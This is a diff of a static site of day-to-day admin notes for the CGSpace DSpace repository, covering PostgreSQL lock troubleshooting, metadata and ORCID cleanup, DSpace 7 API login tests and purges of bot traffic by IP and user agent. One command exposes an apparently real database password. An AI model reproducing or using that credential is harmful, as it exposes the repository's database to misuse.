+ en_US     | 3050302
+ en        |     618
+           |     605
+ fr        |       2
+ vi        |       2
+ es        |       1
+           |       0
+(7 rows)
+
+dspace=# BEGIN;
+BEGIN
+dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_lang IN ('en', '', NULL);
+UPDATE 1223
+dspace=# COMMIT;
+COMMIT
+
    +
  • I wrote an initial version of a script to map CGSpace items to Initiative collections based on their cg.contributor.initiative metadata +
      +
    • I am still considering if I want to add a mode to un-map items that are mapped to collections, but do not have the corresponding metadata tag
      • +
    +
    • +
+

2022-12-14

+
    +
  • Lots of work on PRMS related metadata issues with CGSpace +
      +
    • We noticed that PRMS uses cg.identifier.dataurl for the FAIR score, but not cg.identifier.url
      • +
    • We don’t use these consistently for datasets in CGSpace so I decided to move them to the dataurl field, but we will also ask the PRMS team to consider the normal URL field, as there are commonly other external resources related to the knowledge product there
      • +
    +
    • +
  • I updated the move-metadata-values.py script to use the latest best practices from my other scripts and some of the helper functions from util.py +
      +
    • Then I exported a list of text values pointing to Dataverse instances from cg.identifier.url:
      • +
    +
    • +
+
localhost/dspace= ☘ \COPY (SELECT text_value FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=219 AND (text_value LIKE '%persistentId%' OR text_value LIKE '%20.500.11766.1/%')) to /tmp/data.txt;
+COPY 61
+
    +
  • Then I moved them to cg.identifier.dataurl on CGSpace:
    • +
+
$ ./ilri/move-metadata-values.py -i /tmp/data.txt -db dspace -u dspace -p 'dom@in34sniper' -f cg.identifier.url -t cg.identifier.dataurl
+
    +
  • I still need to add a note to the CGSpace submission form to inform submitters about the correct field for dataset URLs
    • +
  • I finalized work on my new fix-initiative-mappings.py script +
      +
    • It has two modes: +
        +
      1. Check item metadata to see which Initiatives are tagged and then map the item if it is not yet mapped to the corresponding Initiative collection
        2. +
      2. Check item collections to see which Initiatives are mapped and then unmap the item if the corresponding Initiative metadata is missing
        3. +
      +
      • +
    • The second one is disabled by default until I can get more feedback from Abenet, Michael, and others
      • +
    +
    • +
  • After I applied a handful of collection mappings I started a harvest on AReS
    • +
+

2022-12-15

+
    +
  • I did some metadata quality checks on the Initiatives collection, adding some missing regions and removing a few duplicate ones
    • +
+

2022-12-18

+
    +
  • Load on the server is a bit high +
      +
    • Looking at the nginx logs I see someone from the University of Chicago (128.135.98.29) is using RStudio Desktop to query and scrape CGSpace
      • +
    +
    • +
+
# grep -c 'RStudio Desktop' /var/log/nginx/access.log
+5570
+
    +
  • RStudio is already in the ILRI bot overrides for DSpace so it shouldn’t be causing any extra hits, but I’ll put an HTTP 403 in the nginx config to tell the user to use the REST API
    • +
  • Start a harvest on AReS
    • +
+

2022-12-21

+
    +
  • I saw that load on CGSpace was over 20.0 for several hours +
      +
    • I saw there were some stuck locks in PostgreSQL:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+    948 dspaceApi
+     30 dspaceCli
+   1237 dspaceWeb
+
    +
  • Ah, it’s likely there is something stuck because I see the load high since yesterday at 6AM, which is 24 hours now:
    • +
+

CPU load day +PostgreSQL locks week

+
    +
  • I ran all updates and restarted the server
    • +
+

2022-12-22

+
    +
  • I exported the Initiatives collection to check the mappings +
      +
    • My fix-initiative-mappings.py script found six items that could be mapped to new collections based on metadata
      • +
    • I am still not doing automatic unmappings though…
      • +
    +
    • +
+

2022-12-23

+
    +
  • I exported the Initiatives collection to check the metadata quality +
      +
    • I fixed a few errors and missing regions using csv-metadata-quality
      • +
    +
    • +
  • Abenet and Bizu noticed some strange characters in affiliations submitted by MEL +
      +
    • They appear like so in four items currently Instituto Nacional de Investigaci�n y Tecnolog�a Agraria y Alimentaria, Spain
      • +
    • I submitted an issue on MEL’s GitHub repository
      • +
    +
    • +
+

2022-12-24

+
    +
  • Export the ILRI community to try to see if there were any items with Initiative metadata that are not mapped to Initiative collections +
      +
    • I found about twenty…
      • +
    • Then I did the same for the AICCRA community
      • +
    +
    • +
+

2022-12-25

+
    +
  • The load on the server is high and I see some seemingly stuck PostgreSQL locks from dspaceCli:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+     44 dspaceApi
+     58 dspaceCli
+
+
SELECT pl.pid FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid WHERE psa.application_name = 'dspaceCli'
+
    +
  • And the SQL queries themselves:
    • +
+
postgres=# SELECT pid, state, usename, query, query_start 
+FROM pg_stat_activity 
+WHERE pid IN (
+  SELECT pl.pid FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid WHERE psa.application_name = 'dspaceCli'
+);
+
    +
  • For these fifty-eight locks there are only six queries running +
      +
    • Interestingly, they all started at either 04:00 or 05:00 this morning…
      • +
    +
    • +
  • I canceled one using SELECT pg_cancel_backend(1098749); and then two of the other PIDs died, perhaps they were dependent? +
      +
    • Then I canceled the next one and the remaining ones died also
      • +
    +
    • +
  • I exported the entire CGSpace and then ran the fix-initiative-mappings.py script, which found 124 items to be mapped +
      +
    • Getting only the items that have new mappings from the output file is currently tricky because you have to change the file to unix encoding, capture the diff output from the original, and re-add the column headers, but at least this makes the DSpace batch import have to check WAY fewer items
      • +
    • For the record, I used grep to get only the new lines:
      • +
    +
    • +
+
$ grep -xvFf /tmp/orig.csv /tmp/cgspace-mappings.csv > /tmp/2022-12-25-fix-mappings.csv
+
    +
  • Then I imported to CGSpace, and will start an AReS harvest once its done +
      +
    • The import process was quick but it triggered a lot of Solr updates and I see locks rising from dspaceCli again
      • +
    • After five hours the Solr updating from the metadata import wasn’t finished, so I cancelled it, and I see that the items were not mapped…
      • +
    • I split the CSV into multiple files, each with ten items, and the first one imported, but the second went on to do Solr updating stuff forever…
      • +
    • All twelve files worked except the second one, so it must be something with one of those items…
      • +
    +
    • +
  • Now I started a harvest on AReS
    • +
+

2022-12-28

+
    +
  • I got a notice from UptimeRobot that CGSpace was down +
      +
    • I look at the server and the load is only 3 or 4.x and looking at Munin I don’t see any system statistics that are alarming
      • +
    • PostgreSQL locks look fine, memory and DSpace sessions look fine…
      • +
    • There were a strangely high number of tuple accesses half an hour ago, and high CPU going up to then
      • +
    +
    • +
+

PostgreSQL tuple access +CPU day

+
    +
  • And I can access the website just fine, so I guess everything is OK
    • +
  • I exported the Initiatives collection to tag missing regions…
    • +
+

2022-12-29

+
    +
  • I exported the Initiatives collection again and I’m wondering why we have so many items with text_lang set to NULL and others when I have been periodically resetting them +
      +
    • It turns out that doing ... text_lang IN ('en', '', NULL) doesn’t properly check for values with NULL
      • +
    • We actually need to do:
      • +
    +
    • +
+
UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_lang IS NULL OR text_lang IN ('en', '');
+
    +
  • I updated the text lang values on CGSpace and re-exported the community +
      +
    • I fixed a bunch of invalid licenses in these items
      • +
    • Then I added mappings for another handful of items
      • +
    +
    • +
  • I tagged ORCID identifiers for another thirty items or so
    • +
  • At 8PM I got a notice from UptimeRobot again that CGSpace was down +
      +
    • The load is still only around 2.x or 3.x, but there are a lot (and increasing) number of PostgreSQL connections and locks
      • +
    • They appear to be all from the frontend:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+   2892 dspaceWeb
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+   2950 dspaceWeb
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+   3792 dspaceWeb
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+   4460 dspaceWeb
+
    +
  • I don’t see any other system statistics that look out of order… +
      +
    • DSpace sessions, network throughput, CPU, etc all seem sane…
      • +
    • And then all of a sudden, I didn’t do anything, but all the locks disappeared and I was able to access the website… WTF
      • +
    +
    • +
+

2022-12-30

+
    +
  • Start a harvest on AReS
    • +
+

2022-12-31

+
    +
  • I found a bunch of items on AReS that have issue dates in 2023 which made me curious +
      +
    • Looking closer, I think all of these have been tagged incorrectly because they were published online already in 2022
      • +
    • I sent a mail to Abenet and Bizu to ask, but for sure I know that PRMS will be considering first published date as first published date, no matter if that is online or in print
      • +
    • I also added some ORCID identifiers to our list and generated thumbnails for some journal articles that were Creative Commons
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022/01/openarchives-registration.png b/docs/2022/01/openarchives-registration.png new file mode 100644 index 000000000..39344c6ca Binary files /dev/null and b/docs/2022/01/openarchives-registration.png differ diff --git a/docs/2022/02/fw_packets-day-fs8.png b/docs/2022/02/fw_packets-day-fs8.png new file mode 100644 index 000000000..b73940093 Binary files /dev/null and b/docs/2022/02/fw_packets-day-fs8.png differ diff --git a/docs/2022/02/jmx_dspace_sessions-day-fs8.png b/docs/2022/02/jmx_dspace_sessions-day-fs8.png new file mode 100644 index 000000000..fc98d42bf Binary files /dev/null and b/docs/2022/02/jmx_dspace_sessions-day-fs8.png differ diff --git a/docs/2022/02/jmx_tomcat_dbpools-day-fs8.png b/docs/2022/02/jmx_tomcat_dbpools-day-fs8.png new file mode 100644 index 000000000..f72e7fd99 Binary files /dev/null and b/docs/2022/02/jmx_tomcat_dbpools-day-fs8.png differ diff --git a/docs/2022/02/postgres_connections_db-day-fs8.png b/docs/2022/02/postgres_connections_db-day-fs8.png new file mode 100644 index 000000000..9bcf708e3 Binary files /dev/null and b/docs/2022/02/postgres_connections_db-day-fs8.png differ diff --git a/docs/2022/03/postgres_size_cgspace-day.png b/docs/2022/03/postgres_size_cgspace-day.png new file mode 100644 index 000000000..efca542b5 Binary files /dev/null and b/docs/2022/03/postgres_size_cgspace-day.png differ diff --git a/docs/2022/04/cgspace-load.png b/docs/2022/04/cgspace-load.png new file mode 100644 index 000000000..02851e3d6 Binary files /dev/null and b/docs/2022/04/cgspace-load.png differ diff --git a/docs/2022/04/jmx_dspace_sessions-day.png b/docs/2022/04/jmx_dspace_sessions-day.png new file mode 100644 index 000000000..aa51dc960 Binary files /dev/null and b/docs/2022/04/jmx_dspace_sessions-day.png differ diff --git a/docs/2022/04/jmx_dspace_sessions-day2.png b/docs/2022/04/jmx_dspace_sessions-day2.png new file mode 100644 index 000000000..8f77487a1 Binary files /dev/null and b/docs/2022/04/jmx_dspace_sessions-day2.png differ diff --git a/docs/2022/04/postgres_connections_ALL-day.png b/docs/2022/04/postgres_connections_ALL-day.png new file mode 100644 index 000000000..926362a1b Binary files /dev/null and b/docs/2022/04/postgres_connections_ALL-day.png differ diff --git a/docs/2022/07/cpu-day.png b/docs/2022/07/cpu-day.png new file mode 100644 index 000000000..e0bce741c Binary files /dev/null and b/docs/2022/07/cpu-day.png differ diff --git a/docs/2022/07/cpu-day2.png b/docs/2022/07/cpu-day2.png new file mode 100644 index 000000000..53a52dccd Binary files /dev/null and b/docs/2022/07/cpu-day2.png differ diff --git a/docs/2022/07/jmx_dspace_sessions-week.png b/docs/2022/07/jmx_dspace_sessions-week.png new file mode 100644 index 000000000..67487cb08 Binary files /dev/null and b/docs/2022/07/jmx_dspace_sessions-week.png differ diff --git a/docs/2022/07/jmx_dspace_sessions-week2.png b/docs/2022/07/jmx_dspace_sessions-week2.png new file mode 100644 index 000000000..8a4961aa3 Binary files /dev/null and b/docs/2022/07/jmx_dspace_sessions-week2.png differ diff --git a/docs/2022/07/jmx_tomcat_dbpools-day.png b/docs/2022/07/jmx_tomcat_dbpools-day.png new file mode 100644 index 000000000..e1d251489 Binary files /dev/null and b/docs/2022/07/jmx_tomcat_dbpools-day.png differ diff --git a/docs/2022/07/postgres_locks_ALL-week.png b/docs/2022/07/postgres_locks_ALL-week.png new file mode 100644 index 000000000..9079e8f19 Binary files /dev/null and b/docs/2022/07/postgres_locks_ALL-week.png differ diff --git a/docs/2022/07/postgres_querylength_ALL-week.png b/docs/2022/07/postgres_querylength_ALL-week.png new file mode 100644 index 000000000..5cb704313 Binary files /dev/null and b/docs/2022/07/postgres_querylength_ALL-week.png differ diff --git a/docs/2022/08/dspace7-submission.png b/docs/2022/08/dspace7-submission.png new file mode 100644 index 000000000..86d15e18b Binary files /dev/null and b/docs/2022/08/dspace7-submission.png differ diff --git a/docs/2022/10/cpu-day.png b/docs/2022/10/cpu-day.png new file mode 100644 index 000000000..d23fe7a1f Binary files /dev/null and b/docs/2022/10/cpu-day.png differ diff --git a/docs/2022/10/cpu-month.png b/docs/2022/10/cpu-month.png new file mode 100644 index 000000000..5333f6e11 Binary files /dev/null and b/docs/2022/10/cpu-month.png differ diff --git a/docs/2022/10/cpu-year.png b/docs/2022/10/cpu-year.png new file mode 100644 index 000000000..2ed1fbdab Binary files /dev/null and b/docs/2022/10/cpu-year.png differ diff --git a/docs/2022/10/gs-10568-116598.pdf.jpg b/docs/2022/10/gs-10568-116598.pdf.jpg new file mode 100644 index 000000000..b5e5402c3 Binary files /dev/null and b/docs/2022/10/gs-10568-116598.pdf.jpg differ diff --git a/docs/2022/10/pdftocairo-10568-116598.pdf.jpg b/docs/2022/10/pdftocairo-10568-116598.pdf.jpg new file mode 100644 index 000000000..70ab06642 Binary files /dev/null and b/docs/2022/10/pdftocairo-10568-116598.pdf.jpg differ diff --git a/docs/2022/11/postgres_locks_cgspace-day.png b/docs/2022/11/postgres_locks_cgspace-day.png new file mode 100644 index 000000000..2c5651a8f Binary files /dev/null and b/docs/2022/11/postgres_locks_cgspace-day.png differ diff --git a/docs/2022/12/cpu-day.png b/docs/2022/12/cpu-day.png new file mode 100644 index 000000000..3e790776a Binary files /dev/null and b/docs/2022/12/cpu-day.png differ diff --git a/docs/2022/12/cpu-day2.png b/docs/2022/12/cpu-day2.png new file mode 100644 index 000000000..40f40a86c Binary files /dev/null and b/docs/2022/12/cpu-day2.png differ diff --git a/docs/2022/12/postgres_locks_ALL-week.png b/docs/2022/12/postgres_locks_ALL-week.png new file mode 100644 index 000000000..0a7f00f1e Binary files /dev/null and b/docs/2022/12/postgres_locks_ALL-week.png differ diff --git a/docs/2022/12/postgres_tuples_cgspace-day.png b/docs/2022/12/postgres_tuples_cgspace-day.png new file mode 100644 index 000000000..91f8a16f4 Binary files /dev/null and b/docs/2022/12/postgres_tuples_cgspace-day.png differ diff --git a/docs/2023-01/index.html b/docs/2023-01/index.html new file mode 100644 index 000000000..a1911de62 --- /dev/null +++ b/docs/2023-01/index.html @@ -0,0 +1,881 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + January, 2023 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

January, 2023

+

+ + in + Notes + + +

+
+

2023-01-01

+
    +
  • Apply some more ORCID identifiers to items on CGSpace using my 2022-09-22-add-orcids.csv file +
      +
    • I want to update all ORCID names and refresh them in the database
      • +
    • I see we have some new ones that aren’t in our list if I combine with this file:
      • +
    +
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-identifier.xml | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u | wc -l                         
+1939
+$ cat dspace/config/controlled-vocabularies/cg-creator-identifier.xml 2022-09-22-add-orcids.csv | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u | wc -l
+1973
+
    +
  • I will extract and process them with my resolve-orcids.py script:
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-identifier.xml 2022-09-22-add-orcids.csv| grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u > /tmp/2023-01-01-orcids.txt
+$ ./ilri/resolve-orcids.py -i /tmp/2023-01-01-orcids.txt -o /tmp/2023-01-01-orcids-names.txt -d
+
    +
  • Then update them in the database:
    • +
+
$ ./ilri/update-orcids.py -i /tmp/2023-01-01-orcids-names.txt -db dspace -u dspace -p 'fuuu' -m 247
+
    +
  • Load on CGSpace is high around 9.x +
      +
    • I see there is a CIAT bot harvesting via the REST API with IP 45.5.186.2
      • +
    • Other than that I don’t see any particular system stats as alarming
      • +
    • There has been a marked increase in load in the last few weeks, perhaps due to Initiative activity…
      • +
    • Perhaps there are some stuck PostgreSQL locks from CLI tools?
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+     58 dspaceCli
+     46 dspaceWeb
+
    +
  • The current time on the server is 08:52 and I see the dspaceCli locks were started at 04:00 and 05:00… so I need to check which cron jobs those belong to as I think I noticed this last month too +
      +
    • I’m going to wait and see if they finish, but by tomorrow I will kill them
      • +
    +
    • +
+

2023-01-02

+
    +
  • The load on the server is now very low and there are no more locks from dspaceCli +
      +
    • So there was some long-running process that was running and had to finish!
      • +
    • That finally sheds some light on the “high load on Sunday” problem where I couldn’t find any other distinct pattern in the nginx or Tomcat requests
      • +
    +
    • +
+

2023-01-03

+
    +
  • The load from the server on Sundays, which I have noticed for a long time, seems to be coming from the DSpace checker cron job +
      +
    • This checks the checksums of all bitstreams to see if they match the ones in the database
      • +
    +
    • +
  • I exported the entire CGSpace metadata to do country/region checks with csv-metadata-quality +
      +
    • I extracted only the items with countries, which was about 48,000, then split the file into parts of 10,000 items, but the upload found 2,000 changes in the first one and took several hours to complete…
      • +
    +
    • +
  • IWMI sent me ORCID identifiers for new scientsts, bringing our total to 2,010
    • +
+

2023-01-04

+
    +
  • I finally finished applying the region imports (in five batches of 10,000) +
      +
    • It was about 7,500 missing regions in total…
      • +
    +
    • +
  • Now I will move on to doing the Initiative mappings +
      +
    • I modified my fix-initiative-mappings.py script to only write out the items that have updated mappings
      • +
    • This makes it way easier to apply fixes to the entire CGSpace because we don’t try to import 100,000 items with no changes in mappings
      • +
    +
    • +
  • More dspaceCli locks from 04:00 this morning (current time on server is 07:33) and today is a Wednesday +
      +
    • The checker cron job runs on 0,3, which is Sunday and Wednesday, so this is from that…
      • +
    • Finally at 16:30 I decided to kill the PIDs associated with those locks…
      • +
    • I am going to disable that cron job for now and watch the server load for a few weeks
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+

2023-01-08

+
    +
  • It’s Sunday and I see some PostgreSQL locks belonging to dspaceCli that started at 05:00 +
      +
    • That’s strange because I disabled the dspace checker one last week, so I’m not sure which this is…
      • +
    • It’s currently 2:30PM on the server so these locks have been there for almost twelve hours
      • +
    +
    • +
  • I exported the entire CGSpace to update the Initiative mappings +
      +
    • Items were mapped to ~58 new Initiative collections
      • +
    +
    • +
  • Then I ran the ORCID import to catch any new ones that might not have been tagged
    • +
  • Then I started a harvest on AReS
    • +
+

2023-01-09

+
    +
  • Fix some invalid Initiative names on CGSpace and then check for missing mappings
    • +
  • Check for missing regions in the Initiatives collection
    • +
  • Export a list of author affiliations from the Initiatives community for Peter to check +
      +
    • Was slightly ghetto because I did it from a CSV export of the Initiatives community, then imported to OpenRefine to split multi-value fields, then did some sed nonsense to handle the quoting:
      • +
    +
    • +
+
$ csvcut -c 'cg.contributor.affiliation[en_US]' ~/Downloads/2023-01-09-initiatives.csv | \
+  sed -e 's/^"//' -e 's/"$//' -e 's/||/\n/g' | \
+  sort -u | \
+  sed -e 's/^\(.*\)/"\1/' -e 's/\(.*\)$/\1"/' > /tmp/2023-01-09-initiatives-affiliations.csv
+

2023-01-10

+
    +
  • Export the CGSpace Initiatives collection to check for missing regions and collection mappings
    • +
+

2023-01-11

+
    +
  • I’m trying the DSpace 7 REST API again + +
    • +
+
$ curl --head https://dspace7test.ilri.org/server/api
+...
+set-cookie: DSPACE-XSRF-COOKIE=42c78c56-613d-464f-89ea-79142fc5b519; Path=/server; Secure; HttpOnly; SameSite=None
+dspace-xsrf-token: 42c78c56-613d-464f-89ea-79142fc5b519
+$ curl -v -X POST https://dspace7test.ilri.org/server/api/authn/login --data "user=alantest%40cgiar.org&password=dspace" -H "X-XSRF-TOKEN: 42c78c56-613d-464f-89ea-79142fc5b519" -b "DSPACE-XSRF-COOKIE=42c78c56-613d-464f-89ea-79142fc5b519"
+...
+authorization: Bearer eyJh...9-0
+$ curl -v "https://dspace7test.ilri.org/api/core/items" -H "Authorization: Bearer eyJh...9-0"
+
    +
  • I created a pull request to fix the docs
    • +
  • I did quite a lot of cleanup and updates on the IFPRI batch items for the Gender Equality batch upload +
      +
    • Then I uploaded them to CGSpace
      • +
    +
    • +
  • I added about twenty more ORCID identifiers to my list and tagged them on CGSpace
    • +
+

2023-01-12

+
    +
  • I exported the entire CGSpace and did some cleanups on all metadata in OpenRefine +
      +
    • I was primarily interested in normalizing the DOIs, but I also normalized a bunch of publishing places
      • +
    • After this imports I will export it again to do the Initiative and region mappings
      • +
    • I ran the fix-initiative-mappings.py script and got forty-nine new mappings…
      • +
    +
    • +
  • I added several dozen new ORCID identifiers to my list and tagged ~500 on CGSpace
    • +
  • Start a harvest on AReS
    • +
+

2023-01-13

+
    +
  • Do a bit more cleanup on licenses, issue dates, and publishers +
      +
    • Then I started importing my large list of 5,000 items changed from yesterday
      • +
    +
    • +
  • Help Karen add abstracts to a bunch of SAPLING items that were missing them on CGSpace +
      +
    • For now I only did open access journal articles, but I should do the reports and others too
      • +
    +
    • +
+

2023-01-14

+
    +
  • Export CGSpace and check for missing Initiative mappings +
      +
    • There were a total of twenty-five
      • +
    • Then I exported the Initiatives communinty to check the countries and regions
      • +
    +
    • +
+

2023-01-15

+
    +
  • Start a harvest on AReS
    • +
+

2023-01-16

+
    +
  • Batch import four IFPRI items for CGIAR Initiative on Low-Emission Food Systems
    • +
  • Batch import another twenty-eight items for IFPRI across several Initiatives +
      +
    • On this one I did quite a bit of extra work to check for CRPs and data/code URLs in the acknowledgements, licenses, volume/issue/extent, etc
      • +
    • I fixed some authors, an ISBN, and added extra AGROVOC keywords from the abstracts
      • +
    • Then I checked for duplicates and ran it through csv-metadata-quality to make sure the countries/regions matched and there were no duplicate metadata values
      • +
    +
    • +
+

2023-01-17

+
    +
  • Batch import another twenty-three items for IFPRI across several Initiatives +
      +
    • I checked the IFPRI eBrary for extra CRPs and data/code URLs in the acknowledgements, licenses, volume/issue/extent, etc
      • +
    • I fixed some authors, an ISBN, and added extra AGROVOC keywords from the abstracts
      • +
    • Then I found and removed one duplicate in these items, as well as another on CGSpace already (!): 10568/126669
      • +
    • Then I ran it through csv-metadata-quality to make sure the countries/regions matched and there were no duplicate metadata values
      • +
    +
    • +
  • I exported the Initiatives collection to check the mappings, regions, and other metadata with csv-metadata-quality
    • +
  • I also added a bunch of ORCID identifiers to my list and tagged 837 new metadata values on CGSpace
    • +
  • There is a high load on CGSpace pretty regularly +
      +
    • Looking at Munin it shows there is a marked increase in DSpace sessions the last few weeks:
      • +
    +
    • +
+

DSpace sessions year

+
    +
  • Is this attributable to all the PRMS harvesting?
    • +
  • I also see some PostgreSQL locks starting earlier today:
    • +
+

PostgreSQL locks day

+
    +
  • I’m curious to see what kinds of IPs have been connecting, so I will look at the last few weeks:
    • +
+
# zcat --force /var/log/nginx/{rest,access,library-access,oai}.log /var/log/nginx/{rest,access,library-access,oai}.log.1 /var/log/nginx/{rest,access,library-access,oai}.log.{2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25}.gz | awk '{print $1}' | sort | uniq > /tmp/2023-01-17-cgspace-ips.txt
+# wc -l /tmp/2023-01-17-cgspace-ips.txt 
+129446 /tmp/2023-01-17-cgspace-ips.txt
+
    +
  • I ran the IPs through my resolve-addresses-geoip2.py script to resolve their ASNs/networks, then extracted some lists of data center ISPs by eyeballing them (Amazon, Google, Microsoft, Apple, DigitalOcean, HostRoyale, and a dozen others):
    • +
+
$ csvgrep -c asn -r '^(8075|714|16276|15169|23576|24940|13238|32934|14061|12876|55286|203020|204287|7922|50245|6939|16509|14618)$' \
+  /tmp/2023-01-17-cgspace-ips.csv | csvcut -c network | \
+  sed 1d | sort | uniq > /tmp/networks-to-block.txt
+$ wc -l /tmp/networks-to-block.txt 
+776 /tmp/networks-to-block.txt
+
    +
  • I added the list of networks to nginx’s bot-networks.conf so they will all be heavily rate limited
    • +
  • Looking at the Munin stats again I see the load has been extra high since yesterday morning:
    • +
+

CPU week

+
    +
  • But still, it’s suspicious that there are so many PostgreSQL locks
    • +
  • Looking at the Solr stats to check the hits the last month (actually I skipped December because I was so busy) +
      +
    • I see 31.148.223.10 is on ALFA TELECOM s.r.o. in Russia and it made 43,000 requests this month (and 400,000 more last month!)
      • +
    • I see 18.203.245.60 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 3.249.192.212 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 34.244.160.145 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 52.213.59.101 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 91.209.8.29 is in Bulgaria on DGM EOOD and is low risk according to Scamlytics, but their user agent is all lower case and it’s a data center ISP so nope
      • +
    • I see 54.78.176.127 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 54.246.128.111 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 54.74.197.53 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 52.16.103.133 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 63.32.99.252 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 176.34.141.181 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 34.243.17.80 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 34.240.206.16 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 18.203.81.120 is on Amazon and it uses weird user agents, different with each request
      • +
    • I see 176.97.210.106 is on Tube Hosting and is rate VERY BAD, malicious, scammy on everything I checked
      • +
    • I see 79.110.73.54 is on ALFA TELCOM / Serverel and is using a different, weird user agent with each request
      • +
    • There are too many to count… so I will purge these and then move on to user agents
      • +
    +
    • +
  • I purged hits from those IPs:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
+Purging 439185 hits from 31.148.223.10 in statistics
+Purging 2151 hits from 18.203.245.60 in statistics
+Purging 1990 hits from 3.249.192.212 in statistics
+Purging 1975 hits from 34.244.160.145 in statistics
+Purging 1969 hits from 52.213.59.101 in statistics
+Purging 2540 hits from 91.209.8.29 in statistics
+Purging 1624 hits from 54.78.176.127 in statistics
+Purging 1236 hits from 54.74.197.53 in statistics
+Purging 1327 hits from 54.246.128.111 in statistics
+Purging 1108 hits from 52.16.103.133 in statistics
+Purging 1045 hits from 63.32.99.252 in statistics
+Purging 999 hits from 176.34.141.181 in statistics
+Purging 997 hits from 34.243.17.80 in statistics
+Purging 985 hits from 34.240.206.16 in statistics
+Purging 862 hits from 18.203.81.120 in statistics
+Purging 1654 hits from 176.97.210.106 in statistics
+Purging 1628 hits from 51.81.193.200 in statistics
+Purging 1020 hits from 79.110.73.54 in statistics
+Purging 842 hits from 35.153.105.213 in statistics
+Purging 1689 hits from 54.164.237.125 in statistics
+
+Total number of bot hits purged: 466826
+
    +
  • Looking at user agents in Solr statistics from 2022-12 and 2023-01 I see some weird ones: +
      +
    • azure-logic-apps/1.0 (workflow e1f855704d6543f48be6205c40f4083f; version 08585300079823949478) microsoft-flow/1.0
      • +
    • Gov employment data scraper ([[your email]])
      • +
    • Microsoft.Data.Mashup (https://go.microsoft.com/fwlink/?LinkID=304225)
      • +
    • crownpeak
      • +
    • Mozilla/5.0 (compatible)
      • +
    +
    • +
  • Also, a ton of them are lower case, which I’ve never seen before… it might be possible, but looks super fishy to me: +
      +
    • mozilla/5.0 (x11; ubuntu; linux x86_64; rv:84.0) gecko/20100101 firefox/86.0
      • +
    • mozilla/5.0 (macintosh; intel mac os x 11_3) applewebkit/537.36 (khtml, like gecko) chrome/89.0.4389.90 safari/537.36
      • +
    • mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/86.0.4240.75 safari/537.36
      • +
    • mozilla/5.0 (windows nt 10.0; win64; x64; rv:86.0) gecko/20100101 firefox/86.0
      • +
    • mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) chrome/90.0.4430.93 safari/537.36
      • +
    • mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/92.0.4515.159 safari/537.36
      • +
    • mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/88.0.4324.104 safari/537.36
      • +
    • mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) chrome/86.0.4240.75 safari/537.36
      • +
    +
    • +
  • I purged some of those:
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/agents.txt -p
+Purging 1658 hits from azure-logic-apps\/1.0 in statistics
